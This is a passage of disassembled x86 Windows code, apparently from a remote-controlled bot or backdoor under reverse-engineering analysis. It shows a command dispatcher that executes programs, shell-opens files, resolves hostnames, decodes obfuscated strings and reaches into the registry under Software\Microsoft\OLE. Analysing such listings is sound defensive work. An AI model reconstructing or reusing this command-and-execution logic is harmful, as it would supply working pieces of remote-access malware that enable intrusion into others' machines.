		dec	ebp
		jnz	short loc_404998
		jmp	short loc_4049B8
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_404640+352j
		test	ebp, ebp
		jle	short loc_4049B8


loc_4049AB:				; CODE XREF: sub_404640+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401442
		dec	ebp
		jnz	short loc_4049AB


loc_4049B8:				; CODE XREF: sub_404640+356j
					; sub_404640+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049CE:				; CODE XREF: sub_404640+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_4049E5
		call	sub_401F69
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049E5:				; CODE XREF: sub_404640+39Cj
		call	sub_401442


loc_4049EA:				; CODE XREF: sub_404640+162j
					; sub_404640+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B10	proc near		; CODE XREF: sub_401F69j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_448CA2
		call	sub_4014D3
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404B56
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B56
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B56:				; CODE XREF: sub_404B10+1Dj
					; sub_404B10+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B96
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404B96
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_40146F
		cmp	byte ptr [eax],	23h
		jz	short loc_404B96
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B96:				; CODE XREF: sub_404B10+64j
					; sub_404B10+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_401442
		pop	edi
		pop	esi
		retn	4
sub_404B10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404BE0	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401AF0
		test	eax, eax
		jz	short loc_404C0A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C0A:				; CODE XREF: sub_404BE0+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404BE0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C20	proc near		; CODE XREF: sub_40185Cj
		push	esi
		push	edi
		mov	edi, dword_50F8A4
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D60D9
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C4F
		mov	ecx, offset byte_4D60B5
		call	sub_401D0C
		call	edi
		mov	dword_4D60D9, eax


loc_404C4F:				; CODE XREF: sub_404C20+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C20	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_4017C6j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404C70
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404CE4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404CE4:				; CODE XREF: sub_404C70+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404E75
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C5D
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017E4
		push	eax
		call	near ptr 27E0000h
		nop
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FBE
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014D3
		push	eax
		push	0
		nop
		call	near ptr 27D04F0h
		test	eax, eax
		jnz	short loc_404E49
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404E49:				; CODE XREF: sub_404C70+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404E75:				; CODE XREF: sub_404C70+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F24
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E6E85
		mov	[esp+178h+var_4], 3
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F10
		mov	al, byte_4478D6
		test	al, al
		jz	short loc_404EE0
		push	offset dword_447874
		mov	ecx, offset dword_448DB0
		call	sub_401447


loc_404EE0:				; CODE XREF: sub_404C70+25Fj
		mov	al, byte_44791F
		test	al, al
		jz	short loc_404EF8
		push	offset byte_44794F
		mov	ecx, offset dword_448DB0
		call	sub_401942


loc_404EF8:				; CODE XREF: sub_404C70+277j
		mov	ecx, offset dword_448DB0
		call	sub_401E5B
		mov	byte_4D60CC, 0
		mov	byte_4E6E84, 0


loc_404F10:				; CODE XREF: sub_404C70+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404F24:				; CODE XREF: sub_404C70+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F6C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		mov	ecx, offset word_4E6E9A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404F6C:				; CODE XREF: sub_404C70+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405029
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1A8h+var_164]
		push	9
		push	ecx
		mov	[esp+1B0h+var_4], 4
		call	sub_4019B5
		add	esp, 38h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405029:				; CODE XREF: sub_404C70+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405147
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A87
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017E4
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	near ptr 7CA41110h
		nop
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4020F4
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40200E
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_405147:				; CODE XREF: sub_404C70+3CEj
		lea	ecx, [edi+0D99h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40516A
		mov	byte_4D60CC, al
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_40516A:				; CODE XREF: sub_404C70+4ECj
		lea	ecx, [edi+0D3Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405431
		lea	ecx, [esp+178h+var_11C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_4051F4
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_4051F4:				; CODE XREF: sub_404C70+56Ej
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		call	near ptr 71AB2BF4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_4052C7
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		nop
		call	near ptr 71ABE479h
		mov	edi, eax
		test	edi, edi
		jz	loc_4053A8
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40540E
; ---------------------------------------------------------------------------


loc_4052C7:				; CODE XREF: sub_404C70+5CAj
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 71AB4FD4h
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053A8
		mov	ecx, [edi+0Ch]
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016AE
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		nop
		call	near ptr 71AB3F41h
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4053A8:				; CODE XREF: sub_404C70+5E3j
					; sub_404C70+694j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017E4
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40540E:				; CODE XREF: sub_404C70+652j
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405431:				; CODE XREF: sub_404C70+50Fj
		lea	ecx, [edi+0BCDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405522
		lea	ecx, [edi+9]
		call	sub_4017E4
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402022
		add	esp, 8
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+188h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+190h+var_4], ebx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D60B5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E85
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405522:				; CODE XREF: sub_404C70+7D6j
		lea	ecx, [edi+0E23h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405690
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013D9
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013D9
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013D9
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_405673
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013D9
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_40146F
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015D7
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017E4
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C293C7h
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_40562A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405648
; ---------------------------------------------------------------------------


loc_40562A:				; CODE XREF: sub_404C70+99Dj
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405648:				; CODE XREF: sub_404C70+9B8j
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_40566E:				; CODE XREF: sub_404C70+1D4j
					; sub_404C70+2AFj ...
		call	sub_401226


loc_405673:				; CODE XREF: sub_404C70+922j
					; sub_404C70+C70j
		xor	al, al


loc_405675:				; CODE XREF: sub_404C70+6Fj
					; sub_404C70+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_405690:				; CODE XREF: sub_404C70+8C7j
		lea	ecx, [edi+0C85h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405706
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F3C
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405706:				; CODE XREF: sub_404C70+A35j
		lea	ecx, [edi+0CE1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4057F7
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E85
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E6E85
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D60B5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4057F7:				; CODE XREF: sub_404C70+AABj
		lea	ecx, [edi+0CB3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4058CB
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_40585F
		mov	ebx, 7


loc_40585F:				; CODE XREF: sub_404C70+BE8j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40194C
		push	offset byte_446F70
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058B4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_4058B4:				; CODE XREF: sub_404C70+C17j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4058CB:				; CODE XREF: sub_404C70+B9Cj
		lea	ecx, [edi+0DF5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405673
		lea	ecx, [esp+178h+var_100]
		call	sub_401424
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019B5
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A87
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_50F75C
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
